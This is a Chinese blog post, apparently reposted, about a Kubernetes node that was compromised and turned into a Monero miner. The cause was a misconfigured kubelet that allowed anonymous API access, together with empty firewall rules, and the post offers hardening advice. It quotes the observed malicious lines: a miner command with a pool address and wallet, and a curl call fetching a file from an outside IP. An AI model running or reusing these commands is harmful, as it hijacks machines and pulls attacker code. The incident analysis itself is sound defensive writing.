Kubernetes 严重安全问题导致服务器被入侵变矿机

VSole2022-05-06 06:38:06

近期遇到了一次我们自建Kubernetes集群中某台机器被入侵挖矿的情况,后续也找到了原因,所幸只是用来挖矿……

网络安全是个严肃的问题,它总是在不经意间出现,等你反应过来却已经迟了。希望各位读者看完后也有所启发,去检查及加固自己的集群。

1入侵现象

检查到某台机器中出现了异常进程:

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
curl -s http://45.9.148.35/scan_threads.dat

简单来讲,就是我们的机器被用来挖矿了……

问题出现后,我们第一时间关闭了 Docker,其实应该隔离下环境,把挖矿程序 dump下来,以便后续分析。

2具体原因排查

iptables 为空

出现了异常进程,肯定是被入侵了,我首先看的是 iptables。果不其然,机器上的 iptables 规则是空的,意味着这台机器在裸奔。

kubelet 裸奔

内部同事提出了有可能是 kubelet 被入侵的问题,检查过其他组件后,开始检查 kubelet组件。

最后检查到 kubelet 日志中有异常:

kubelet 设置不当

确认入侵问题,kubelet 参数设置错误,允许直接访问 kubelet 的 API。

发现是 kubelet 的启动项中,该位置被注释掉:

然后文件中禁止匿名访问的配置没有读取。

该项配置是由于我操作不当注释掉的。

由于是新增加的机器,当晚就发现了问题,整个集群是我在管理的,我跟随着一起排查,所以很快就找到了原因,当晚我就把其他机器中的配置项重新扫了一遍,假如它们的防火墙失效了,也会有类似的入侵情况发生,还好此次事件控制在 1 台机器中。

3改进方案

其实该问题理论上讲是可以避免的,是因为出现了多层漏洞才会被有心人扫到,我从外到内整理了一下可能改进的策略:

  1. 机器防火墙设置,机器防火墙是整个系统最外层,即使机器的防火墙同步失败,也不能默认开放所有端口,而是应该全部关闭,等待管理员连接到 tty 终端上检查。
  2. 使用机器时,假如机器不是暴露给外部使用的,公网IP 可有可无的时候,尽量不要有公网IP,我们的机器才上线 1 天就被扫描到了漏洞,可想而知,公网上是多么的危险。
  3. 使用 kubelet 以及其他系统服务时,端口监听方面是不是该有所考量?能不能不监听0.0.0.0,而是只监听本机的内网 IP。
  4. 使用 kubelet 以及其他程序,设计或是搭建系统时,对于匿名访问时的权限控制,我们需要考虑到假如端口匿名会出现什么问题,是否应该允许匿名访问,如果不允许匿名访问,那么怎么做一套鉴权系统?
  5. 系统管理员操作时,是否有一个比较规范化的流程,是不是该只使用脚本操作线上环境?手动操作线上环境带来的问题并不好排查和定位。

我这里不是抛出疑问,只是想告诉大家,考虑系统设计时,有必要考虑下安全性。

4总结

发生了入侵事件后,同事开玩笑说,还好没其他经济损失,要不我可能要回家了。作为集群的管理员,只有自己最清楚问题的严重程度,从本质上来讲,问题已经相当严重了。入侵者相当于拥有了机器上 Docker 的完整控制权限。

因为此次事件的发生,不只是我,还有 SA 的同学基本都被 diao 了一遍,心里还是有点难受的,希望大家能对网络安全问题有所重视,从加固防火墙开始,避免监听不必要的端口,这两项至少是最容易实现的。

如侵权请私聊公众号删文

kubernetes防火墙
本作品采用《CC 协议》,转载必须注明作者和本文链接
展示在Kubernetes集群中的攻击和防御思路
本文将引入一个思路:“在 Kubernetes 集群发生网络异常时如何排查”。文章将引入 Kubernetes 集群中网络排查的思路,包含网络异常模型,常用工具,并且提出一些案例以供学习。其可能原因为Pod 的 DNS 配置不正确DNS 服务异常pod 与 DNS 服务通讯异常大数据包丢包:主要现象为基础网络和端口均可以连通,小数据包收发无异常,大数据包丢包。
Kubernetes基础环境搭建
2022-05-09 14:47:39
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
近期,Kubernetes披露了一个关键的安全漏洞(容器编排工具迄今为止的第一个主要漏洞)并发布了Kubernetes 1.13。 首先这个安全漏洞会响所有基于Kubernetes的容器产品和服务,并且它为黑客提供了在Kubernetes集群中运行的任何计算节点的完全管理权限。
Kubernetes 是一个开源容器编排系统,用于自动化软件部署、扩展和管理。Shadowserver 基金会开始扫描可访问的 Kubernetes API 实例,这些实例以 200 OK HTTP 响应对探测器进行响应。
kubelet 裸奔内部同事提出了有可能是 kubelet 被入侵的问题,检查过其他组件后,开始检查 kubelet组件。最后检查到 kubelet 日志中有异常:kubelet 设置不当确认入侵问题,kubelet 参数设置错误,允许直接访问 kubelet 的 API。发现是 kubelet 的启动项中,该位置被注释掉:然后文件中禁止匿名访问的配置没有读取。
Kubernetes通常被称为“K8s”,是一种非常流行的开源容器编排系统,可以自动部署、扩展和管理容器化工作负载。
在网络安全硬件子市场中,防火墙是体量最大的单品,具有最广泛的应用场景。即便是今日在云化大潮下,防火墙依然占有单品体量的首要位置。防火墙技术层面演进的主要线索,是随着用户边界流量的变化,而带来的防护要求的变化而演进的。彼时大部分部署环境是以物理网络环境为主,防火墙的形态绝大部分也是采用硬件形态为主。
最近在学习云原生相关的渗透知识,该系列文章记录学习过程,包括基础知识(主要是k8s的搭建使用以及一些概念等,docker基础使用操作不赘述。)、工具的使用、逃逸漏洞复现等。 服务器准备 腾讯云 云服务器,新建三台服务器(香港地区)。
Kubescape可测试Kubernetes是否遵循NSA和CISA强化指南中的定义。
VSole
网络安全专家